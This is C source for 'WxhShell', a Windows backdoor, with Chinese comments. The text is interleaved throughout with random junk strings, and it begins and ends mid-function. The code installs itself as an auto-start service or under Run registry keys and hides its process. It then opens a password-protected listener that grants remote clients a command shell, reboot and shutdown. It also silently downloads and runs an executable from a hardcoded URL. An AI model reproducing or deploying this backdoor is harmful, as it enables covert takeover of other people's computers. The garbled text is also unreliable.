ULONG UniqueProcessId; IXnb]q. ULONG InheritedFromUniqueProcessId; yq?]V7~ } PROCESS_BASIC_INFORMATION; ]D O&x+Rb $!f!,fw+ PROCNTQSIP NtQueryInformationProcess; :$NsR*Cq*9 zX98c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .46#`4av static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P$g^vS+ 1B 5:s,Oyj HANDLE hProcess; ["u#{>(X PROCESS_BASIC_INFORMATION pbi; K4:
$= =NadAyv HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {Ur7#h5 if(NULL == hInst ) return 0; !}_b| `{[RjM` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jXixVNw g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dN< ,%}R NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nob0T5G 1c$vLo832 if (!NtQueryInformationProcess) return 0; )n>+m|IqY( D SvmVI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R:M,tL-l if(!hProcess) return 0; Tg0CE60"
96c?3ya if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -U>y iPvuz7j=h CloseHandle(hProcess); 9gy(IRGq/ LBat:7aH> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;'0=T0\ if(hProcess==NULL) return 0; 1Ipfw vQ1 v#Z HMODULE hMod; Qs%B'9") char procName[255]; KnGTcoXg_ unsigned long cbNeeded; rQb7?O@- `XJm=/f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o:~LF6A- F'FP0t!S CloseHandle(hProcess); du_4eB /&^W#U$4 if(strstr(procName,"services")) return 1; // 以服务启动
s2REt$.q PyBD return 0; // 注册表启动 mV)+qXC } nS9wb1Zl u5+|Su // 主模块 dg_G s>?2 int StartWxhshell(LPSTR lpCmdLine) %S \8. { V 1/p_)A SOCKET wsl; R#W&ery BOOL val=TRUE; >/=> B7 int port=0; =r9r~SR# struct sockaddr_in door; a`!@+6yC E\U`2{^. if(wscfg.ws_autoins) Install(); KzV 2MO-$ :J/M,3 port=atoi(lpCmdLine); y7)(LQRE
{ ;j%BK(5 if(port<=0) port=wscfg.ws_port; >V$ Gx>I y*23$fj( WSADATA data; !mMpb/&&S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }4//@J?: y3G
`> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OI}cs2m setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N?P%-/7 door.sin_family = AF_INET; $?P22"/p door.sin_addr.s_addr = inet_addr("127.0.0.1"); `bjizS'^ door.sin_port = htons(port); Sa1l=^ jMNU ?m: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ch \&GzQ closesocket(wsl); !\Xm!I8 return 1; [*:6oo98' } {0"YOS`3AX GH1"xR4! if(listen(wsl,2) == INVALID_SOCKET) { $%R$G`.KM closesocket(wsl); k%]=!5F return 1; %zk$}}ti. } -Go 7"j Wxhshell(wsl); 6/V3.UP- WSACleanup(); $37
g]ZD Vv1|51B return 0; B=8Iu5m uvP2Wgt } { FZ=olZ )B,|@ynu // 以NT服务方式启动 a]
= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +l3=3 { ~w8JH2O DWORD status = 0; lKZB?Kk^w\ DWORD specificError = 0xfffffff; B33$pUk ^V$Ajt serviceStatus.dwServiceType = SERVICE_WIN32; Tou/5?#%e serviceStatus.dwCurrentState = SERVICE_START_PENDING; )9l^O
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )q7UxzE+ serviceStatus.dwWin32ExitCode = 0; )XcOl7XLN serviceStatus.dwServiceSpecificExitCode = 0; AL#4_]m' serviceStatus.dwCheckPoint = 0; [ i#zP serviceStatus.dwWaitHint = 0; b4^`DHRu6 5p.rwNE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sVG(N.y if (hServiceStatusHandle==0) return; Z R/#V7Pj 3bnS
W5 status = GetLastError(); ^&y$Wd]6 if (status!=NO_ERROR) M%jPH { !uQPc serviceStatus.dwCurrentState = SERVICE_STOPPED; T
\_]^]> serviceStatus.dwCheckPoint = 0; U[ 0=L`0e serviceStatus.dwWaitHint = 0; lz?$f4TzA serviceStatus.dwWin32ExitCode = status; Y/*mUS[oa serviceStatus.dwServiceSpecificExitCode = specificError; <P=twT;P SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4GX-ma, return; Hhcpp7cr' } B&n<M]7 6|PrX
L& serviceStatus.dwCurrentState = SERVICE_RUNNING; '2 PF serviceStatus.dwCheckPoint = 0; `)_dS&_\ serviceStatus.dwWaitHint = 0; vbyH<LPz5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JPoN&BTCj } LhA/xf zdYy^8V|z // 处理NT服务事件,比如:启动、停止 +nJgl8'^y VOID WINAPI NTServiceHandler(DWORD fdwControl) aWR}R>E { X\bOz[\ switch(fdwControl) hHV";bk { }&wUr>= case SERVICE_CONTROL_STOP: R}*_~7r5 serviceStatus.dwWin32ExitCode = 0; hhCrUn" serviceStatus.dwCurrentState = SERVICE_STOPPED; I|^;B8[ serviceStatus.dwCheckPoint = 0; YS/Yd[ e serviceStatus.dwWaitHint = 0; .\)U@L~ { 1;Ou7T9w SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|3:6x } {xXsBh
Y return; PHZ0P7 case SERVICE_CONTROL_PAUSE: _V7s#_p serviceStatus.dwCurrentState = SERVICE_PAUSED; pKpUXfQu break; Rh_np case SERVICE_CONTROL_CONTINUE: VY
| _dk serviceStatus.dwCurrentState = SERVICE_RUNNING; `d5%.N break; Z2qW\E^_r case SERVICE_CONTROL_INTERROGATE: a7r%X - break; ~A'!2 }; }dgfqq SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3@dL/x4A } `6~Aoe }$SavB#SBP // 标准应用程序主函数 cW@Zd5&0S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gQ Fjr_IS# { K|zZS%?$ J:CXW%\ <q // 获取操作系统版本 JtYP E? OsIsNt=GetOsVer(); [>8}J" GetModuleFileName(NULL,ExeFile,MAX_PATH); a{^m-fSaR"
M+||rct // 从命令行安装 [ 9 {*94M if(strpbrk(lpCmdLine,"iI")) Install(); X[]m _@ v I&}L*Z?` // 下载执行文件 v$7QIl_/7 if(wscfg.ws_downexe) { RYQ<Zr$! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /uPcXq:L~ WinExec(wscfg.ws_filenam,SW_HIDE); ]O+Ma}dxz: } ^1iSn)& ,k )w6) if(!OsIsNt) { q rJ`1 // 如果时win9x,隐藏进程并且设置为注册表启动 b6nsg| HideProc(); H?<N.Dq StartWxhshell(lpCmdLine); 0m%|U'm|j } UQ)W%Y;[0 else <"{qk2LS1 if(StartFromService()) 60P#,o@G // 以服务方式启动 be]bZ
1f StartServiceCtrlDispatcher(DispatchTable); i
UCXAWP else 27
]':A4_ // 普通方式启动 ~
{E'@MU StartWxhshell(lpCmdLine); nKPYOY8^ 0
HGM4[)= return 0; q)LMm7 } G_;)a]v8) sy:[T T!w 2D75:@JL}| LLk(l#K* =========================================== EYtL_hNp}I e-:yb^ Isvx7$Vu+ aoMqSwF= f[<m<I 0Vlk;fIh " "'c
A2~ [B+yyBtx #include <stdio.h> QQ%D8$k" #include <string.h> 15%w 8u #include <windows.h> Bp_$.!Qy #include <winsock2.h> rM`X?>iT+ #include <winsvc.h> 9>l*lCA #include <urlmon.h> AqWUwK9T ^V ?<K.F #pragma comment (lib, "Ws2_32.lib") S|SV$_
( #pragma comment (lib, "urlmon.lib") o)Iff)m$ ,F79xx9ufg #define MAX_USER 100 // 最大客户端连接数 +MR.>" #define BUF_SOCK 200 // sock buffer 2/vMoVT, #define KEY_BUFF 255 // 输入 buffer DK$X2B"c V D?;"9e% #define REBOOT 0 // 重启 v=0(~<7B #define SHUTDOWN 1 // 关机 oC<.=2] `bFff%_ #define DEF_PORT 5000 // 监听端口 _7H7
dV Id_2PkIN$~ #define REG_LEN 16 // 注册表键长度 v4u5yy_;( #define SVC_LEN 80 // NT服务名长度 wP6Fl L G0/4JSH // 从dll定义API H<VTa? n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e5* ni/P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O[I\A[* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FKIw!m ~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K?[q%W]% @JtM5qB // wxhshell配置信息 <vUbv struct WSCFG { kW*f.! int ws_port; // 监听端口 zDw5]*R char ws_passstr[REG_LEN]; // 口令 [0(B>a3J int ws_autoins; // 安装标记, 1=yes 0=no Zo|.1pN char ws_regname[REG_LEN]; // 注册表键名 Sx708`/Ep char ws_svcname[REG_LEN]; // 服务名 ?j40}
B]]d char ws_svcdisp[SVC_LEN]; // 服务显示名 NL!u<6y char ws_svcdesc[SVC_LEN]; // 服务描述信息 mR&H9NG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4[.oPK=i int ws_downexe; // 下载执行标记, 1=yes 0=no SO IHePmwK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9Xj7~, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5k`l$mW{ HW=C),*]cR }; x,rlrxI eIz<)-7: // default Wxhshell configuration ,5|&A struct WSCFG wscfg={DEF_PORT, Fgp]l2* "xuhuanlingzhe", b6Wqr/ 1, S#MZV@nGF "Wxhshell", G+%zn| "Wxhshell", N"" BCh" "WxhShell Service", %5eY' "Wrsky Windows CmdShell Service", 23c 8 "Please Input Your Password: ", JTr vnA 1, %K>,xiD) "http://www.wrsky.com/wxhshell.exe", e8pG"`wM8 "Wxhshell.exe" ~Lm$i6E< }; jBgP$g ,quoRan // 消息定义模块 <J`0mVOX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =h0,?]z char *msg_ws_prompt="\n\r? for help\n\r#>"; :+qF8t[L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }q $5ig char *msg_ws_ext="\n\rExit."; yKa{08X: char *msg_ws_end="\n\rQuit."; "t(p&;d char *msg_ws_boot="\n\rReboot..."; YE|SKx@ char *msg_ws_poff="\n\rShutdown..."; ^lA=* jY( char *msg_ws_down="\n\rSave to "; 8zRP(+&W }% `.h" char *msg_ws_err="\n\rErr!"; OW3sS+y char *msg_ws_ok="\n\rOK!"; 43mP]*=A i.3=!6z char ExeFile[MAX_PATH]; U%<koD[, int nUser = 0; }s(N6 a&( HANDLE handles[MAX_USER]; -o!$tI& int OsIsNt; ^>i63Yc !a7[8& SERVICE_STATUS serviceStatus; Hea;?4Vg SERVICE_STATUS_HANDLE hServiceStatusHandle; t5y;CxL Lv|q // 函数声明 0`X]o'RxS int Install(void); ~8GF Q ph int Uninstall(void); *=(lyx_O int DownloadFile(char *sURL, SOCKET wsh); t
m7^yn: int Boot(int flag); c(!6^qk]!` void HideProc(void); sg$rzT-S4 int GetOsVer(void); j!U-'zJ int Wxhshell(SOCKET wsl); .(^ ,z& void TalkWithClient(void *cs); ] lrWgm int CmdShell(SOCKET sock); gk"$,\DI int StartFromService(void); _3TY,l~ int StartWxhshell(LPSTR lpCmdLine); Qa-K$dm% dwDcR,z?a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P_*" dza VOID WINAPI NTServiceHandler( DWORD fdwControl ); z^#;~I @M v7iuL6jl // 数据结构和表定义 6YGubH7%_ SERVICE_TABLE_ENTRY DispatchTable[] =
ll`>FcQ {
TU:7Df {wscfg.ws_svcname, NTServiceMain}, m^ tFi7c {NULL, NULL} (Iaf?J5{ }; @d
mV u>kN1k Q8 // 自我安装 'VzP}; int Install(void) *>n;SuT_ { {L/ tst#C char svExeFile[MAX_PATH]; A v2 08}Y HKEY key; 0n;<
ge&~R strcpy(svExeFile,ExeFile); #xX5,r0 hc>HQrd // 如果是win9x系统,修改注册表设为自启动 mID"^NOi# if(!OsIsNt) { G9xmmc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4^WpS/#4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YjxF}VI~< RegCloseKey(key); j4jTSLQ\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _AAaC_q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VUPXO RegCloseKey(key); x4;"!Kq\ return 0; G6/p1xy>o: } g;qx">xJ`o } ==3dEJS } >qS9PX else { *h!28Ya(~ v"b+$* // 如果是NT以上系统,安装为系统服务 K{|p~B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y9uC&/_C if (schSCManager!=0) x=b7': nQ { [N7{WSZ& SC_HANDLE schService = CreateService F`gi_;c ( /{+y2.{j schSCManager, Nl^;A><u wscfg.ws_svcname, _jLL_GD wscfg.ws_svcdisp, th SERVICE_ALL_ACCESS, arIf'CG6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uxXBEq; SERVICE_AUTO_START, smlpD3?va SERVICE_ERROR_NORMAL, )(bW#- svExeFile, r+A{JHnN NULL, ;O,+2VzP%^ NULL, dMh:ulIY> NULL, Si_ _8D NULL, `` ,fodA8 NULL wo4;n9@I ); /a{la8Ni if (schService!=0) 9+j0q% { ^]H5h ]U' CloseServiceHandle(schService); y&6FybIz CloseServiceHandle(schSCManager); B^1>PE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !\-{D$E?H strcat(svExeFile,wscfg.ws_svcname); $Ipg&`S" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z_$%. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y1OCLnK~ RegCloseKey(key); = I:.X ; return 0; R cAwrsd } U bXh,QEG* } ?qP7Y nl CloseServiceHandle(schSCManager); Yrb{ByO& } Q8T]\6)m } r/YMLQ b LB:MW\% return 1; 5yd MMb } 'H3^e} MDnKX?Y // 自我卸载 vleS2-]| int Uninstall(void) 6g2a[6G5 { @'w"R/,n-@ HKEY key; c?tBi9'Y] )mg:_K if(!OsIsNt) { /sUYU(3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sxnpq Vbk RegDeleteValue(key,wscfg.ws_regname); ./-5R|fN RegCloseKey(key); _Us#\+]_: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lsgh#x RegDeleteValue(key,wscfg.ws_regname); 2L:_rR#w RegCloseKey(key); @fHi\W2JG return 0; u#Pa7_zBj] } :WjpzgPuN } i@C].X } yg`j-9[8 else { z#zI1Am(O ~d
o9;8v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SAH-p*. if (schSCManager!=0) ZXu>,Jy { %d1,a$*3} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bgn&:T8< if (schService!=0) HeK/7IAqp { ls?~+\Jb if(DeleteService(schService)!=0) { bh s5x CloseServiceHandle(schService); *!4Z#Y CloseServiceHandle(schSCManager); i#&z2h-b return 0; S$f9m } +s"hqm CloseServiceHandle(schService); XV!6dh! } kSC}aN' CloseServiceHandle(schSCManager); "X2 Vrn' } .ELGWF`> } AUeu1(
6Vww;1J return 1; tM2)k+fg } +nUy,S?43 l|xZk4@_uE // 从指定url下载文件 {-ZFp int DownloadFile(char *sURL, SOCKET wsh) Yv
hA_v { b6W2^tr- HRESULT hr; uB |Ss char seps[]= "/"; )S`jFQ1 char *token; ^L0d/,ik char *file; $m7?3/YG char myURL[MAX_PATH]; cbeLu'DWB. char myFILE[MAX_PATH]; 4!$s}V=6 U QE qX strcpy(myURL,sURL); ilK-?@u+ token=strtok(myURL,seps); l6(-I
Tb while(token!=NULL) 7:Ax(El { 0 - ><q file=token; :!/gk8F|dI token=strtok(NULL,seps); 2$14q$eb } sp7*_&'J L lw&& K GetCurrentDirectory(MAX_PATH,myFILE); ,h{A^[yl strcat(myFILE, "\\"); kloR#?8A strcat(myFILE, file); V7Z4T6j4 send(wsh,myFILE,strlen(myFILE),0); 4B4Z])$3 send(wsh,"...",3,0); -pU|hSW*b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d{3@h+zL if(hr==S_OK) $`8Ar,Xz` return 0; /^$UhX9v else 3#vinz return 1; ~%/Wupf OdQT2PA_ } hY*0aZ|( %*o8L6Hn // 系统电源模块 Bd^"=+c4 int Boot(int flag) 6
4D]Ypx { { F'Kk\f%: HANDLE hToken; xy8#2 TOKEN_PRIVILEGES tkp; RQkyCAGx (=16PYs if(OsIsNt) { SR^_cpZoi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TgTnqR@/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mv
atUe tkp.PrivilegeCount = 1; j} F-Xs+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xq%{} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExSO|g]% if(flag==REBOOT) { 5tv<8~:K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TZ;p0^( return 0; '~ 4pl0TWc } 1`LXz3uBe else { Kzb`$CGK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x1gx$P return 0; LhzMAW<L4 } Z~6[ Z } mmEp'E else { 3ta$L"a if(flag==REBOOT) { Cs@ +r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F_ 7H!F return 0; xMs]Hs } NQ|xM"MqD else { fd8!KO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S2C]?6cTq return 0; W~ULc9 } ~|Z'l%<Os } Y-~~,Yl~ T7$S_ return 1; wU`!B<,j } Q0_>'sEM p|XAlia // win9x进程隐藏模块 K3mAXC,d void HideProc(void) >0Ev#cX4 { ~V)?>)T x`Fjf/1T*m HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1;| LI? if ( hKernel != NULL ) Di Or{)a { {SG>'KXZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +`bC%\T8? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C:\(~D*GS FreeLibrary(hKernel); z,*:x4}F } ~# 7wdP UQd6/mD`e return; BH@b1} } 59B&2861 8
#oR/Nt // 获取操作系统版本 $zkH|]
zZ int GetOsVer(void) S7n"3.k { 8SnS~._9 OSVERSIONINFO winfo; X;fy\HaU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;vO@m!h}U GetVersionEx(&winfo); 'pP-rdx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0H=9@ return 1; tLX,+P2| else
S2=%x. return 0; 3;$bS<> } (;6s)z sm s1%%~ // 客户端句柄模块 WPY8C3XO int Wxhshell(SOCKET wsl) %my { LXhaD[1Rb SOCKET wsh; ;; LuU<,$ struct sockaddr_in client; rFXSO=P?Z DWORD myID; c %<2z o+)A'S while(nUser<MAX_USER) kl{6]39 { (5Ky6b9v int nSize=sizeof(client); 3@X7YgILU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B!q?_[k, if(wsh==INVALID_SOCKET) return 1; Ysk,w,K 'yT`ef handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ag]*DsBt if(handles[nUser]==0) &,uC9$ closesocket(wsh); =49o U else D=w9cKa nUser++; A#:8X1w } $,`VUe{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vb}/@F,Q5 XqFu(Lm8= return 0; FuMq|S } U(A4v0T LD@7(?mlU // 关闭 socket CveWl$T12 void CloseIt(SOCKET wsh) oQBiPN+v.3 { x(yX0 ,P/7 closesocket(wsh); nh. b/\o nUser--; le2/Zs$ ExitThread(0); T+BIy|O } gL,"ef+nM US]"4=Zm // 客户端请求句柄 Z]e4pR6! void TalkWithClient(void *cs) ^(m0M$Wk* { ~"5C${~{ _}z_yu#jY SOCKET wsh=(SOCKET)cs; I W8. char pwd[SVC_LEN]; MyM+C} char cmd[KEY_BUFF]; +QQYPEx+ char chr[1]; G/%Ubi6% int i,j; jXH0BPa, xtu]F while (nUser < MAX_USER) { ylT6h_z1[Y w2KWa-BO if(wscfg.ws_passstr) { u,!4vKx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CElPU`J,\[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S--/<a2 //ZeroMemory(pwd,KEY_BUFF); JgxA^>|9; i=0; j&
<tdORT while(i<SVC_LEN) { +H?<}N*T Qlf
9]ug) // 设置超时 Kyyih|{ fd_set FdRead; lJ("6aT? struct timeval TimeOut; vx PDC~3; FD_ZERO(&FdRead); @OBHAoz%/ FD_SET(wsh,&FdRead); = ]WW'~ TimeOut.tv_sec=8; QR|XV%$ TimeOut.tv_usec=0; (v|ixa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CL
EpB2_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V>1D1 XTIu(f|d_; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^9$t/c& pwd=chr[0]; ze*&*csO if(chr[0]==0xd || chr[0]==0xa) { (QA-"9v#i, pwd=0; |R[v@c`pn break; d'x<-l9 } **Qe`}E: i++; ev)rOcOU } =W;t@"6>2 )RpqZe/h4 // 如果是非法用户,关闭 socket W\nHX I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 16a_GwfM } \.K\YAM< BUcaj.S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Usa{J: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CsJ)Z%4_ iSSc5ek4 while(1) { .Z(S4wV n25irCD` ZeroMemory(cmd,KEY_BUFF); EX+={U|ua$ 2r PcNh9 // 自动支持客户端 telnet标准 s_S<gR j=0; owfp^hla while(j<KEY_BUFF) { v9j4|w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x.0k%H cmd[j]=chr[0]; mB{&7Rb0 if(chr[0]==0xa || chr[0]==0xd) { W\ 1bE(AwZ cmd[j]=0; 3i@ "D break; $V`KrA~] } ]Ssw32yn j++; ,7n;|1` } 4yJ*85e] >?\v@ // 下载文件 E<X{72fb> if(strstr(cmd,"http://")) { 3*X,{% send(wsh,msg_ws_down,strlen(msg_ws_down),0); STFQ";z$ if(DownloadFile(cmd,wsh)) FqT,4SIR send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-$bo=s. else 6b#:H~ < send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lRa
3v Ng } 8xD<A| else { uI[-P}bSc& |dB1R% switch(cmd[0]) { \GbHS*\+ 1Rb XM n // 帮助 ]]h:#A2 case '?': { @^y?Bh9jQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ABq {<2iYN break; #TW>'lF } `lu"y F // 安装 M3jv aI case 'i': { HP4'8#3o if(Install()) 3x(MvW30Lg send(wsh,msg_ws_err,strlen(msg_ws_err),0); [d^: else #iRyjD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +LI*!(T|lm break; O%fp;Y{` } $_URXI // 卸载 ulPrb>i case 'r': { xT=kxyu if(Uninstall()) syC"eH3{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|0-m#1F# else q563,s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U>plv break; |qy"%W@ } a7v[l04 // 显示 wxhshell 所在路径 JV?RgFy case 'p': { CSX$Pk* char svExeFile[MAX_PATH]; "{ry 9?z strcpy(svExeFile,"\n\r"); nnd-pf- strcat(svExeFile,ExeFile); Gs=a(0
0i? send(wsh,svExeFile,strlen(svExeFile),0); <zDw&s2 break; $R$c1C'oX } &TkbnDuYd~ // 重启 -o!,,XYj . case 'b': { A_(+r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kX ,FQG> if(Boot(REBOOT)) Tm:#"h\F send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZP><Je& else { /o1)ZC$ closesocket(wsh); :UhFou_D4l ExitThread(0); 4gv XJK- } im?XXsH' break; a]wcA } Tx!m6B`Y // 关机 /6+%(f}7l case 'd': { Hg)5c!F7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }1]E=!?)& if(Boot(SHUTDOWN)) 97"dOi!Wh send(wsh,msg_ws_err,strlen(msg_ws_err),0); gucd]VH else { QF^ _4Yn closesocket(wsh); 'qD5 ExitThread(0); cd8ZZ8L } (qn ;MN6< break; |~'D8 g:Ak } }sTo,F$ // 获取shell s|3@\9\ case 's': { k+k&}8e CmdShell(wsh); C+{du^c$ closesocket(wsh); m9*Lo[EXO ExitThread(0); HnvE\t9` break; RusC5\BUX } tT7< V{i4 // 退出 y w"Tw case 'x': { TmS;ybsG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K`.wj8zGY CloseIt(wsh); f'/@h Na3 break; :SxOQ(n } /a7tg+: // 离开 mT
N6-V case 'q': { (]'Q!MjGa send(wsh,msg_ws_end,strlen(msg_ws_end),0); KZ
ezA4 closesocket(wsh); UA4Q9<>~ WSACleanup(); x}TDb0V exit(1); %N)o*H& break; C]aa^_Ldd- } %
'>S9Ja3 } _] E ~ci} } l ' ]d& DM6oMT // 提示信息 Z<a6U 3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]d"4G7mu`l } T:0X-U } y:!MWZ sr\l z}JW return; Kq/W-VyGh } <i'4EnO _>HXQ6Hw // shell模块句柄 0pYz8OB int CmdShell(SOCKET sock) L K9vvQz { b?-%Uzp< STARTUPINFO si; z602(mxGg ZeroMemory(&si,sizeof(si)); x8p#WB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,=lMtW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )!MeSWGq PROCESS_INFORMATION ProcessInfo; \()\pp~4 char cmdline[]="cmd"; M;W{A)0i1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); );$Uf!v4 return 0; ,_`\c7@ } y]=v+Q*+ E66e4?" // 自身启动模式 ZZTPAmIr int StartFromService(void) 9QJ=?bIC# { r&"}zyL typedef struct yhEU*\: { cWgiFv DWORD ExitStatus; n6WSTh DWORD PebBaseAddress; ]M{SM`Ya DWORD AffinityMask; mKZ?H$E%% DWORD BasePriority; IDzP<u8v ULONG UniqueProcessId; %Ua*}C ULONG InheritedFromUniqueProcessId; |LKhT4rE } PROCESS_BASIC_INFORMATION; 5d|*E_yu
$c0SWz PROCNTQSIP NtQueryInformationProcess; =(*Eh=Pw 1*?IDYB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =b,$jCv<,5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xN2M|E] %xLziF HANDLE hProcess; VYf$0oo\4 PROCESS_BASIC_INFORMATION pbi; .)})8csl.d 7*^\mycv HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gq[}/E0e if(NULL == hInst ) return 0; 9{ i6g+ H` Q_gy5Z( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #x#.@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s\o
